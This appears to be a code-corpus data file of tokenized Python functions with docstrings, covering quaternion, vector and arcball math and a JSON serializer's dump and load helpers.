{"signature": "def quaternion_from_matrix(matrix, isprecise=False):", "body": "M = numpy.array(matrix, dtype=numpy.float64, copy=False)[:<NUM_LIT:4>, :<NUM_LIT:4>]<EOL>if isprecise:<EOL><INDENT>q = numpy.empty((<NUM_LIT:4>, ))<EOL>t = numpy.trace(M)<EOL>if t > M[<NUM_LIT:3>, <NUM_LIT:3>]:<EOL><INDENT>q[<NUM_LIT:0>] = t<EOL>q[<NUM_LIT:3>] = M[<NUM_LIT:1>, <NUM_LIT:0>] - M[<NUM_LIT:0>, <NUM_LIT:1>]<EOL>q[<NUM_LIT:2>] = M[<NUM_LIT:0>, <NUM_LIT:2>] - M[<NUM_LIT:2>, <NUM_LIT:0>]<EOL>q[<NUM_LIT:1>] = M[<NUM_LIT:2>, <NUM_LIT:1>] - M[<NUM_LIT:1>, <NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>i, j, k = <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3><EOL>if M[<NUM_LIT:1>, <NUM_LIT:1>] > M[<NUM_LIT:0>, <NUM_LIT:0>]:<EOL><INDENT>i, j, k = <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:1><EOL><DEDENT>if M[<NUM_LIT:2>, <NUM_LIT:2>] > M[i, i]:<EOL><INDENT>i, j, k = <NUM_LIT:3>, <NUM_LIT:1>, <NUM_LIT:2><EOL><DEDENT>t = M[i, i] - (M[j, j] + M[k, k]) + M[<NUM_LIT:3>, <NUM_LIT:3>]<EOL>q[i] = t<EOL>q[j] = M[i, j] + M[j, i]<EOL>q[k] = M[k, i] + M[i, k]<EOL>q[<NUM_LIT:3>] = M[k, j] - M[j, k]<EOL><DEDENT>q *= <NUM_LIT:0.5> / math.sqrt(t * M[<NUM_LIT:3>, <NUM_LIT:3>])<EOL><DEDENT>else:<EOL><INDENT>m00 = M[<NUM_LIT:0>, <NUM_LIT:0>]<EOL>m01 = M[<NUM_LIT:0>, <NUM_LIT:1>]<EOL>m02 = M[<NUM_LIT:0>, <NUM_LIT:2>]<EOL>m10 = M[<NUM_LIT:1>, <NUM_LIT:0>]<EOL>m11 = M[<NUM_LIT:1>, <NUM_LIT:1>]<EOL>m12 = M[<NUM_LIT:1>, <NUM_LIT:2>]<EOL>m20 = M[<NUM_LIT:2>, <NUM_LIT:0>]<EOL>m21 = M[<NUM_LIT:2>, <NUM_LIT:1>]<EOL>m22 = M[<NUM_LIT:2>, <NUM_LIT:2>]<EOL>K = numpy.array([[m00-m11-m22, <NUM_LIT:0.0>,         <NUM_LIT:0.0>,         <NUM_LIT:0.0>],<EOL>[m01+m10,     m11-m00-m22, <NUM_LIT:0.0>,         <NUM_LIT:0.0>],<EOL>[m02+m20,     m12+m21,     m22-m00-m11, <NUM_LIT:0.0>],<EOL>[m21-m12,     m02-m20,     m10-m01,     m00+m11+m22]])<EOL>K /= <NUM_LIT><EOL>w, V = numpy.linalg.eigh(K)<EOL>q = V[[<NUM_LIT:3>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>], numpy.argmax(w)]<EOL><DEDENT>if q[<NUM_LIT:0>] < <NUM_LIT:0.0>:<EOL><INDENT>numpy.negative(q, q)<EOL><DEDENT>return q<EOL>", "docstring": "Return quaternion from rotation matrix.\n\n    If isprecise is True, the input matrix is assumed to be a precise rotation\n    matrix and a faster algorithm is used.\n\n    >>> q = quaternion_from_matrix(numpy.identity(4), True)\n    >>> numpy.allclose(q, [1, 0, 0, 0])\n    True\n    >>> q = quaternion_from_matrix(numpy.diag([1, -1, -1, 1]))\n    >>> numpy.allclose(q, [0, 1, 0, 0]) or numpy.allclose(q, [0, -1, 0, 0])\n    True\n    >>> R = rotation_matrix(0.123, (1, 2, 3))\n    >>> q = quaternion_from_matrix(R, True)\n    >>> numpy.allclose(q, [0.9981095, 0.0164262, 0.0328524, 0.0492786])\n    True\n    >>> R = [[-0.545, 0.797, 0.260, 0], [0.733, 0.603, -0.313, 0],\n    ...      [-0.407, 0.021, -0.913, 0], [0, 0, 0, 1]]\n    >>> q = quaternion_from_matrix(R)\n    >>> numpy.allclose(q, [0.19069, 0.43736, 0.87485, -0.083611])\n    True\n    >>> R = [[0.395, 0.362, 0.843, 0], [-0.626, 0.796, -0.056, 0],\n    ...      [-0.677, -0.498, 0.529, 0], [0, 0, 0, 1]]\n    >>> q = quaternion_from_matrix(R)\n    >>> numpy.allclose(q, [0.82336615, -0.13610694, 0.46344705, -0.29792603])\n    True\n    >>> R = random_rotation_matrix()\n    >>> q = quaternion_from_matrix(R)\n    >>> is_same_transform(R, quaternion_matrix(q))\n    True\n    >>> R = euler_matrix(0.0, 0.0, numpy.pi/2.0)\n    >>> numpy.allclose(quaternion_from_matrix(R, isprecise=False),\n    ...                quaternion_from_matrix(R, isprecise=True))\n    True", "id": "f15133:m25"}
{"signature": "def quaternion_multiply(quaternion1, quaternion0):", "body": "w0, x0, y0, z0 = quaternion0<EOL>w1, x1, y1, z1 = quaternion1<EOL>return numpy.array([-x1*x0 - y1*y0 - z1*z0 + w1*w0,<EOL>x1*w0 + y1*z0 - z1*y0 + w1*x0,<EOL>-x1*z0 + y1*w0 + z1*x0 + w1*y0,<EOL>x1*y0 - y1*x0 + z1*w0 + w1*z0], dtype=numpy.float64)<EOL>", "docstring": "Return multiplication of two quaternions.\n\n    >>> q = quaternion_multiply([4, 1, -2, 3], [8, -5, 6, 7])\n    >>> numpy.allclose(q, [28, -44, -14, 48])\n    True", "id": "f15133:m26"}
{"signature": "def quaternion_conjugate(quaternion):", "body": "q = numpy.array(quaternion, dtype=numpy.float64, copy=True)<EOL>numpy.negative(q[<NUM_LIT:1>:], q[<NUM_LIT:1>:])<EOL>return q<EOL>", "docstring": "Return conjugate of quaternion.\n\n    >>> q0 = random_quaternion()\n    >>> q1 = quaternion_conjugate(q0)\n    >>> q1[0] == q0[0] and all(q1[1:] == -q0[1:])\n    True", "id": "f15133:m27"}
{"signature": "def quaternion_inverse(quaternion):", "body": "q = numpy.array(quaternion, dtype=numpy.float64, copy=True)<EOL>numpy.negative(q[<NUM_LIT:1>:], q[<NUM_LIT:1>:])<EOL>return q / numpy.dot(q, q)<EOL>", "docstring": "Return inverse of quaternion.\n\n    >>> q0 = random_quaternion()\n    >>> q1 = quaternion_inverse(q0)\n    >>> numpy.allclose(quaternion_multiply(q0, q1), [1, 0, 0, 0])\n    True", "id": "f15133:m28"}
{"signature": "def quaternion_real(quaternion):", "body": "return float(quaternion[<NUM_LIT:0>])<EOL>", "docstring": "Return real part of quaternion.\n\n    >>> quaternion_real([3, 0, 1, 2])\n    3.0", "id": "f15133:m29"}
{"signature": "def quaternion_imag(quaternion):", "body": "return numpy.array(quaternion[<NUM_LIT:1>:<NUM_LIT:4>], dtype=numpy.float64, copy=True)<EOL>", "docstring": "Return imaginary part of quaternion.\n\n    >>> quaternion_imag([3, 0, 1, 2])\n    array([ 0.,  1.,  2.])", "id": "f15133:m30"}
{"signature": "def random_quaternion(rand=None):", "body": "if rand is None:<EOL><INDENT>rand = numpy.random.rand(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>assert len(rand) == <NUM_LIT:3><EOL><DEDENT>r1 = numpy.sqrt(<NUM_LIT:1.0> - rand[<NUM_LIT:0>])<EOL>r2 = numpy.sqrt(rand[<NUM_LIT:0>])<EOL>pi2 = math.pi * <NUM_LIT><EOL>t1 = pi2 * rand[<NUM_LIT:1>]<EOL>t2 = pi2 * rand[<NUM_LIT:2>]<EOL>return numpy.array([numpy.cos(t2)*r2, numpy.sin(t1)*r1,<EOL>numpy.cos(t1)*r1, numpy.sin(t2)*r2])<EOL>", "docstring": "Return uniform random unit quaternion.\n\n    rand: array like or None\n        Three independent random variables that are uniformly distributed\n        between 0 and 1.\n\n    >>> q = random_quaternion()\n    >>> numpy.allclose(1, vector_norm(q))\n    True\n    >>> q = random_quaternion(numpy.random.random(3))\n    >>> len(q.shape), q.shape[0]==4\n    (1, True)", "id": "f15133:m32"}
{"signature": "def random_rotation_matrix(rand=None):", "body": "return quaternion_matrix(random_quaternion(rand))<EOL>", "docstring": "Return uniform random rotation matrix.\n\n    rand: array like\n        Three independent random variables that are uniformly distributed\n        between 0 and 1 for each returned quaternion.\n\n    >>> R = random_rotation_matrix()\n    >>> numpy.allclose(numpy.dot(R.T, R), numpy.identity(4))\n    True", "id": "f15133:m33"}
{"signature": "def arcball_map_to_sphere(point, center, radius):", "body": "v0 = (point[<NUM_LIT:0>] - center[<NUM_LIT:0>]) / radius<EOL>v1 = (center[<NUM_LIT:1>] - point[<NUM_LIT:1>]) / radius<EOL>n = v0*v0 + v1*v1<EOL>if n > <NUM_LIT:1.0>:<EOL><INDENT>n = math.sqrt(n)<EOL>return numpy.array([v0/n, v1/n, <NUM_LIT:0.0>])<EOL><DEDENT>else:<EOL><INDENT>return numpy.array([v0, v1, math.sqrt(<NUM_LIT:1.0> - n)])<EOL><DEDENT>", "docstring": "Return unit sphere coordinates from window coordinates.", "id": "f15133:m34"}
{"signature": "def arcball_constrain_to_axis(point, axis):", "body": "v = numpy.array(point, dtype=numpy.float64, copy=True)<EOL>a = numpy.array(axis, dtype=numpy.float64, copy=True)<EOL>v -= a * numpy.dot(a, v)  <EOL>n = vector_norm(v)<EOL>if n > _EPS:<EOL><INDENT>if v[<NUM_LIT:2>] < <NUM_LIT:0.0>:<EOL><INDENT>numpy.negative(v, v)<EOL><DEDENT>v /= n<EOL>return v<EOL><DEDENT>if a[<NUM_LIT:2>] == <NUM_LIT:1.0>:<EOL><INDENT>return numpy.array([<NUM_LIT:1.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>])<EOL><DEDENT>return unit_vector([-a[<NUM_LIT:1>], a[<NUM_LIT:0>], <NUM_LIT:0.0>])<EOL>", "docstring": "Return sphere point perpendicular to axis.", "id": "f15133:m35"}
{"signature": "def arcball_nearest_axis(point, axes):", "body": "point = numpy.array(point, dtype=numpy.float64, copy=False)<EOL>nearest = None<EOL>mx = -<NUM_LIT:1.0><EOL>for axis in axes:<EOL><INDENT>t = numpy.dot(arcball_constrain_to_axis(point, axis), point)<EOL>if t > mx:<EOL><INDENT>nearest = axis<EOL>mx = t<EOL><DEDENT><DEDENT>return nearest<EOL>", "docstring": "Return axis, which arc is nearest to point.", "id": "f15133:m36"}
{"signature": "def vector_norm(data, axis=None, out=None):", "body": "data = numpy.array(data, dtype=numpy.float64, copy=True)<EOL>if out is None:<EOL><INDENT>if data.ndim == <NUM_LIT:1>:<EOL><INDENT>return math.sqrt(numpy.dot(data, data))<EOL><DEDENT>data *= data<EOL>out = numpy.atleast_1d(numpy.sum(data, axis=axis))<EOL>numpy.sqrt(out, out)<EOL>return out<EOL><DEDENT>else:<EOL><INDENT>data *= data<EOL>numpy.sum(data, axis=axis, out=out)<EOL>numpy.sqrt(out, out)<EOL><DEDENT>", "docstring": "Return length, i.e. Euclidean norm, of ndarray along axis.\n\n    >>> v = numpy.random.random(3)\n    >>> n = vector_norm(v)\n    >>> numpy.allclose(n, numpy.linalg.norm(v))\n    True\n    >>> v = numpy.random.rand(6, 5, 3)\n    >>> n = vector_norm(v, axis=-1)\n    >>> numpy.allclose(n, numpy.sqrt(numpy.sum(v*v, axis=2)))\n    True\n    >>> n = vector_norm(v, axis=1)\n    >>> numpy.allclose(n, numpy.sqrt(numpy.sum(v*v, axis=1)))\n    True\n    >>> v = numpy.random.rand(5, 4, 3)\n    >>> n = numpy.empty((5, 3))\n    >>> vector_norm(v, axis=1, out=n)\n    >>> numpy.allclose(n, numpy.sqrt(numpy.sum(v*v, axis=1)))\n    True\n    >>> vector_norm([])\n    0.0\n    >>> vector_norm([1])\n    1.0", "id": "f15133:m37"}
{"signature": "def unit_vector(data, axis=None, out=None):", "body": "if out is None:<EOL><INDENT>data = numpy.array(data, dtype=numpy.float64, copy=True)<EOL>if data.ndim == <NUM_LIT:1>:<EOL><INDENT>data /= math.sqrt(numpy.dot(data, data))<EOL>return data<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if out is not data:<EOL><INDENT>out[:] = numpy.array(data, copy=False)<EOL><DEDENT>data = out<EOL><DEDENT>length = numpy.atleast_1d(numpy.sum(data*data, axis))<EOL>numpy.sqrt(length, length)<EOL>if axis is not None:<EOL><INDENT>length = numpy.expand_dims(length, axis)<EOL><DEDENT>data /= length<EOL>if out is None:<EOL><INDENT>return data<EOL><DEDENT>", "docstring": "Return ndarray normalized by length, i.e. Euclidean norm, along axis.\n\n    >>> v0 = numpy.random.random(3)\n    >>> v1 = unit_vector(v0)\n    >>> numpy.allclose(v1, v0 / numpy.linalg.norm(v0))\n    True\n    >>> v0 = numpy.random.rand(5, 4, 3)\n    >>> v1 = unit_vector(v0, axis=-1)\n    >>> v2 = v0 / numpy.expand_dims(numpy.sqrt(numpy.sum(v0*v0, axis=2)), 2)\n    >>> numpy.allclose(v1, v2)\n    True\n    >>> v1 = unit_vector(v0, axis=1)\n    >>> v2 = v0 / numpy.expand_dims(numpy.sqrt(numpy.sum(v0*v0, axis=1)), 1)\n    >>> numpy.allclose(v1, v2)\n    True\n    >>> v1 = numpy.empty((5, 4, 3))\n    >>> unit_vector(v0, axis=1, out=v1)\n    >>> numpy.allclose(v1, v2)\n    True\n    >>> list(unit_vector([]))\n    []\n    >>> list(unit_vector([1]))\n    [1.0]", "id": "f15133:m38"}
{"signature": "def random_vector(size):", "body": "return numpy.random.random(size)<EOL>", "docstring": "Return array of random doubles in the half-open interval [0.0, 1.0).\n\n    >>> v = random_vector(10000)\n    >>> numpy.all(v >= 0) and numpy.all(v < 1)\n    True\n    >>> v0 = random_vector(10)\n    >>> v1 = random_vector(10)\n    >>> numpy.any(v0 == v1)\n    False", "id": "f15133:m39"}
{"signature": "def vector_product(v0, v1, axis=<NUM_LIT:0>):", "body": "return numpy.cross(v0, v1, axis=axis)<EOL>", "docstring": "Return vector perpendicular to vectors.\n\n    >>> v = vector_product([2, 0, 0], [0, 3, 0])\n    >>> numpy.allclose(v, [0, 0, 6])\n    True\n    >>> v0 = [[2, 0, 0, 2], [0, 2, 0, 2], [0, 0, 2, 2]]\n    >>> v1 = [[3], [0], [0]]\n    >>> v = vector_product(v0, v1)\n    >>> numpy.allclose(v, [[0, 0, 0, 0], [0, 0, 6, 6], [0, -6, 0, -6]])\n    True\n    >>> v0 = [[2, 0, 0], [2, 0, 0], [0, 2, 0], [2, 0, 0]]\n    >>> v1 = [[0, 3, 0], [0, 0, 3], [0, 0, 3], [3, 3, 3]]\n    >>> v = vector_product(v0, v1, axis=1)\n    >>> numpy.allclose(v, [[0, 0, 6], [0, -6, 0], [6, 0, 0], [0, -6, 6]])\n    True", "id": "f15133:m40"}
{"signature": "def angle_between_vectors(v0, v1, directed=True, axis=<NUM_LIT:0>):", "body": "v0 = numpy.array(v0, dtype=numpy.float64, copy=False)<EOL>v1 = numpy.array(v1, dtype=numpy.float64, copy=False)<EOL>dot = numpy.sum(v0 * v1, axis=axis)<EOL>dot /= vector_norm(v0, axis=axis) * vector_norm(v1, axis=axis)<EOL>return numpy.arccos(dot if directed else numpy.fabs(dot))<EOL>", "docstring": "Return angle between vectors.\n\n    If directed is False, the input vectors are interpreted as undirected axes,\n    i.e. the maximum angle is pi/2.\n\n    >>> a = angle_between_vectors([1, -2, 3], [-1, 2, -3])\n    >>> numpy.allclose(a, math.pi)\n    True\n    >>> a = angle_between_vectors([1, -2, 3], [-1, 2, -3], directed=False)\n    >>> numpy.allclose(a, 0)\n    True\n    >>> v0 = [[2, 0, 0, 2], [0, 2, 0, 2], [0, 0, 2, 2]]\n    >>> v1 = [[3], [0], [0]]\n    >>> a = angle_between_vectors(v0, v1)\n    >>> numpy.allclose(a, [0, 1.5708, 1.5708, 0.95532])\n    True\n    >>> v0 = [[2, 0, 0], [2, 0, 0], [0, 2, 0], [2, 0, 0]]\n    >>> v1 = [[0, 3, 0], [0, 0, 3], [0, 0, 3], [3, 3, 3]]\n    >>> a = angle_between_vectors(v0, v1, axis=1)\n    >>> numpy.allclose(a, [1.5708, 1.5708, 1.5708, 0.95532])\n    True", "id": "f15133:m41"}
{"signature": "def inverse_matrix(matrix):", "body": "return numpy.linalg.inv(matrix)<EOL>", "docstring": "Return inverse of square transformation matrix.\n\n    >>> M0 = random_rotation_matrix()\n    >>> M1 = inverse_matrix(M0.T)\n    >>> numpy.allclose(M1, numpy.linalg.inv(M0.T))\n    True\n    >>> for size in range(1, 7):\n    ...     M0 = numpy.random.rand(size, size)\n    ...     M1 = inverse_matrix(M0)\n    ...     if not numpy.allclose(M1, numpy.linalg.inv(M0)): print(size)", "id": "f15133:m42"}
{"signature": "def concatenate_matrices(*matrices):", "body": "M = numpy.identity(<NUM_LIT:4>)<EOL>for i in matrices:<EOL><INDENT>M = numpy.dot(M, i)<EOL><DEDENT>return M<EOL>", "docstring": "Return concatenation of series of transformation matrices.\n\n    >>> M = numpy.random.rand(16).reshape((4, 4)) - 0.5\n    >>> numpy.allclose(M, concatenate_matrices(M))\n    True\n    >>> numpy.allclose(numpy.dot(M, M.T), concatenate_matrices(M, M.T))\n    True", "id": "f15133:m43"}
{"signature": "def is_same_transform(matrix0, matrix1):", "body": "matrix0 = numpy.array(matrix0, dtype=numpy.float64, copy=True)<EOL>matrix0 /= matrix0[<NUM_LIT:3>, <NUM_LIT:3>]<EOL>matrix1 = numpy.array(matrix1, dtype=numpy.float64, copy=True)<EOL>matrix1 /= matrix1[<NUM_LIT:3>, <NUM_LIT:3>]<EOL>return numpy.allclose(matrix0, matrix1)<EOL>", "docstring": "Return True if two matrices perform same transformation.\n\n    >>> is_same_transform(numpy.identity(4), numpy.identity(4))\n    True\n    >>> is_same_transform(numpy.identity(4), random_rotation_matrix())\n    False", "id": "f15133:m44"}
{"signature": "def _import_module(name, package=None, warn=True, prefix='<STR_LIT>', ignore='<STR_LIT:_>'):", "body": "import warnings<EOL>from importlib import import_module<EOL>try:<EOL><INDENT>if not package:<EOL><INDENT>module = import_module(name)<EOL><DEDENT>else:<EOL><INDENT>module = import_module('<STR_LIT:.>' + name, package=package)<EOL><DEDENT><DEDENT>except ImportError:<EOL><INDENT>if warn:<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for attr in dir(module):<EOL><INDENT>if ignore and attr.startswith(ignore):<EOL><INDENT>continue<EOL><DEDENT>if prefix:<EOL><INDENT>if attr in globals():<EOL><INDENT>globals()[prefix + attr] = globals()[attr]<EOL><DEDENT>elif warn:<EOL><INDENT>warnings.warn(\"<STR_LIT>\" + attr)<EOL><DEDENT><DEDENT>globals()[attr] = getattr(module, attr)<EOL><DEDENT>return True<EOL><DEDENT>", "docstring": "Try import all public attributes from module into global namespace.\n\n    Existing attributes with name clashes are renamed with prefix.\n    Attributes starting with underscore are ignored by default.\n\n    Return True on successful import.", "id": "f15133:m45"}
{"signature": "def __init__(self, initial=None):", "body": "self._axis = None<EOL>self._axes = None<EOL>self._radius = <NUM_LIT:1.0><EOL>self._center = [<NUM_LIT:0.0>, <NUM_LIT:0.0>]<EOL>self._vdown = numpy.array([<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>])<EOL>self._constrain = False<EOL>if initial is None:<EOL><INDENT>self._qdown = numpy.array([<NUM_LIT:1.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>])<EOL><DEDENT>else:<EOL><INDENT>initial = numpy.array(initial, dtype=numpy.float64)<EOL>if initial.shape == (<NUM_LIT:4>, <NUM_LIT:4>):<EOL><INDENT>self._qdown = quaternion_from_matrix(initial)<EOL><DEDENT>elif initial.shape == (<NUM_LIT:4>, ):<EOL><INDENT>initial /= vector_norm(initial)<EOL>self._qdown = initial<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self._qnow = self._qpre = self._qdown<EOL>", "docstring": "Initialize virtual trackball control.\n\n        initial : quaternion or rotation matrix", "id": "f15133:c0:m0"}
{"signature": "def place(self, center, radius):", "body": "self._radius = float(radius)<EOL>self._center[<NUM_LIT:0>] = center[<NUM_LIT:0>]<EOL>self._center[<NUM_LIT:1>] = center[<NUM_LIT:1>]<EOL>", "docstring": "Place Arcball, e.g. when window size changes.\n\n        center : sequence[2]\n            Window coordinates of trackball center.\n        radius : float\n            Radius of trackball in window coordinates.", "id": "f15133:c0:m1"}
{"signature": "def setaxes(self, *axes):", "body": "if axes is None:<EOL><INDENT>self._axes = None<EOL><DEDENT>else:<EOL><INDENT>self._axes = [unit_vector(axis) for axis in axes]<EOL><DEDENT>", "docstring": "Set axes to constrain rotations.", "id": "f15133:c0:m2"}
{"signature": "@property<EOL><INDENT>def constrain(self):<DEDENT>", "body": "return self._constrain<EOL>", "docstring": "Return state of constrain to axis mode.", "id": "f15133:c0:m3"}
{"signature": "@constrain.setter<EOL><INDENT>def constrain(self, value):<DEDENT>", "body": "self._constrain = bool(value)<EOL>", "docstring": "Set state of constrain to axis mode.", "id": "f15133:c0:m4"}
{"signature": "def down(self, point):", "body": "self._vdown = arcball_map_to_sphere(point, self._center, self._radius)<EOL>self._qdown = self._qpre = self._qnow<EOL>if self._constrain and self._axes is not None:<EOL><INDENT>self._axis = arcball_nearest_axis(self._vdown, self._axes)<EOL>self._vdown = arcball_constrain_to_axis(self._vdown, self._axis)<EOL><DEDENT>else:<EOL><INDENT>self._axis = None<EOL><DEDENT>", "docstring": "Set initial cursor window coordinates and pick constrain-axis.", "id": "f15133:c0:m5"}
{"signature": "def drag(self, point):", "body": "vnow = arcball_map_to_sphere(point, self._center, self._radius)<EOL>if self._axis is not None:<EOL><INDENT>vnow = arcball_constrain_to_axis(vnow, self._axis)<EOL><DEDENT>self._qpre = self._qnow<EOL>t = numpy.cross(self._vdown, vnow)<EOL>if numpy.dot(t, t) < _EPS:<EOL><INDENT>self._qnow = self._qdown<EOL><DEDENT>else:<EOL><INDENT>q = [numpy.dot(self._vdown, vnow), t[<NUM_LIT:0>], t[<NUM_LIT:1>], t[<NUM_LIT:2>]]<EOL>self._qnow = quaternion_multiply(q, self._qdown)<EOL><DEDENT>", "docstring": "Update current cursor window coordinates.", "id": "f15133:c0:m6"}
{"signature": "def next(self, acceleration=<NUM_LIT:0.0>):", "body": "q = quaternion_slerp(self._qpre, self._qnow, <NUM_LIT>+acceleration, False)<EOL>self._qpre, self._qnow = self._qnow, q<EOL>", "docstring": "Continue rotation in direction of last drag.", "id": "f15133:c0:m7"}
{"signature": "def matrix(self):", "body": "return quaternion_matrix(self._qnow)<EOL>", "docstring": "Return homogeneous rotation matrix.", "id": "f15133:c0:m8"}
{"signature": "def wait(self):", "body": "return self.window.wait()<EOL>", "docstring": "Block until a browser is connected to the server", "id": "f15136:c1:m4"}
{"signature": "def fixcode(**kwargs):", "body": "<EOL>repo_dir = Path(__file__).parent.absolute()<EOL>source_dir = Path(repo_dir, package.__name__)<EOL>if source_dir.exists():<EOL><INDENT>print(\"<STR_LIT>\" % source_dir)<EOL>print(\"<STR_LIT>\")<EOL>source_dir.autopep8(**kwargs)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>unittest_dir = Path(repo_dir, \"<STR_LIT>\")<EOL>if unittest_dir.exists():<EOL><INDENT>print(\"<STR_LIT>\" % unittest_dir)<EOL>print(\"<STR_LIT>\")<EOL>unittest_dir.autopep8(**kwargs)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>", "docstring": "auto pep8 format all python file in ``source code`` and ``tests`` dir.", "id": "f15147:m0"}
{"signature": "def get_class_name_from_dumper_loader_method(func):", "body": "return getfullargspec(func).defaults[<NUM_LIT:0>]<EOL>", "docstring": "Get default value of ``class_name`` argument.\n\n    Because the third argument of dumper, loader method must be the class name.", "id": "f15148:m0"}
{"signature": "def is_dumper_method(func):", "body": "if getfullargspec(func).args == [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Test if it is a dumper method.", "id": "f15148:m1"}
{"signature": "def is_loader_method(func):", "body": "if getfullargspec(func).args == [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Test if it is a loader method.", "id": "f15148:m2"}
{"signature": "def is_compressed_json_file(abspath):", "body": "abspath = abspath.lower()<EOL>fname, ext = os.path.splitext(abspath)<EOL>if ext in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>is_compressed = False<EOL><DEDENT>elif ext == \"<STR_LIT>\":<EOL><INDENT>is_compressed = True<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % abspath)<EOL><DEDENT>return is_compressed<EOL>", "docstring": "Test a file is a valid json file.\n\n    - *.json: uncompressed, utf-8 encode json file\n    - *.js: uncompressed, utf-8 encode json file\n    - *.gz: compressed, utf-8 encode json file", "id": "f15148:m3"}
{"signature": "def _dump(self, obj):", "body": "class_name = get_class_name(obj)<EOL>if class_name in self._dumpers:<EOL><INDENT>return self._dumpers[class_name](self, obj)<EOL><DEDENT>raise TypeError(\"<STR_LIT>\" % obj)<EOL>", "docstring": "Dump single object to json serializable value.", "id": "f15148:c1:m0"}
{"signature": "def _json_convert(self, obj):", "body": "<EOL>if isinstance(obj, OrderedDict):<EOL><INDENT>try:<EOL><INDENT>return self._dump(obj)<EOL><DEDENT>except TypeError:<EOL><INDENT>return {k: self._json_convert(v) for k, v in iteritems(obj)}<EOL><DEDENT><DEDENT>elif isinstance(obj, dict):<EOL><INDENT>return {k: self._json_convert(v) for k, v in iteritems(obj)}<EOL><DEDENT>elif isinstance(obj, (list, tuple)):<EOL><INDENT>return list((self._json_convert(v) for v in obj))<EOL><DEDENT>elif isinstance(obj, float):<EOL><INDENT>return float(json.encoder.FLOAT_REPR(obj))<EOL><DEDENT>try:<EOL><INDENT>return self._dump(obj)<EOL><DEDENT>except TypeError:<EOL><INDENT>return obj<EOL><DEDENT>", "docstring": "Recursive helper method that converts dict types to standard library\n        json serializable types, so they can be converted into json.", "id": "f15148:c1:m1"}
{"signature": "def _object_hook1(self, dct):", "body": "<EOL>if len(dct) == <NUM_LIT:1>:<EOL><INDENT>for key, value in iteritems(dct):<EOL><INDENT>class_name = key[<NUM_LIT:1>:]<EOL>if class_name in self._loaders:<EOL><INDENT>return self._loaders[class_name](self, dct)<EOL><DEDENT><DEDENT>return dct<EOL><DEDENT>return dct<EOL>", "docstring": "A function can convert dict data into object.\n\n        it's an O(1) implementation.", "id": "f15148:c1:m2"}
{"signature": "def _object_hook2(self, dct):  ", "body": "for class_name, loader in self._loaders.items():<EOL><INDENT>if (\"<STR_LIT:$>\" + class_name) in dct:<EOL><INDENT>return loader(self, dct)<EOL><DEDENT><DEDENT>return dct<EOL>", "docstring": "Another object hook implementation.\n\n        it's an O(N) implementation.", "id": "f15148:c1:m3"}
{"signature": "def dumps(self, obj,<EOL>indent=None,<EOL>sort_keys=None,<EOL>pretty=False,<EOL>float_precision=None,<EOL>ensure_ascii=True,<EOL>compress=False,<EOL>**kwargs):", "body": "if pretty:<EOL><INDENT>indent = <NUM_LIT:4><EOL>sort_keys = True<EOL><DEDENT>if float_precision is None:<EOL><INDENT>json.encoder.FLOAT_REPR = repr<EOL><DEDENT>else:<EOL><INDENT>json.encoder.FLOAT_REPR = lambda x: format(<EOL>x, \"<STR_LIT>\" % float_precision)<EOL><DEDENT>s = json.dumps(<EOL>self._json_convert(obj),<EOL>indent=indent,<EOL>sort_keys=sort_keys,<EOL>ensure_ascii=ensure_ascii,<EOL>**kwargs<EOL>)<EOL>if compress:<EOL><INDENT>s = compresslib.compress(s, return_type=\"<STR_LIT:str>\")<EOL><DEDENT>return s<EOL>", "docstring": "Dump any object into json string.\n\n        :param pretty: if True, dump json into pretty indent and sorted key\n          format.\n        :type pretty: bool\n\n        :param float_precision: default ``None``, limit floats to\n          N-decimal points.\n        :type float_precision: integer\n\n        :param compress: default ``False. If True, then compress encoded string.\n        :type compress: bool", "id": "f15148:c1:m4"}
{"signature": "def loads(self, s,<EOL>object_hook=None,<EOL>decompress=False,<EOL>ignore_comments=False,<EOL>**kwargs):", "body": "if decompress:<EOL><INDENT>s = compresslib.decompress(s, return_type=\"<STR_LIT:str>\")<EOL><DEDENT>if ignore_comments:<EOL><INDENT>s = strip_comments(s)<EOL><DEDENT>if object_hook is None:<EOL><INDENT>object_hook = self._object_hook1<EOL><DEDENT>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>del kwargs[\"<STR_LIT>\"]<EOL><DEDENT>obj = json.loads(<EOL>s,<EOL>object_hook=object_hook,<EOL>object_pairs_hook=None,<EOL>**kwargs<EOL>)<EOL>return obj<EOL>", "docstring": "load object from json encoded string.\n\n        :param decompress: default ``False. If True, then decompress string.\n        :type decompress: bool\n\n        :param ignore_comments: default ``False. If True, then ignore comments.\n        :type ignore_comments: bool", "id": "f15148:c1:m5"}
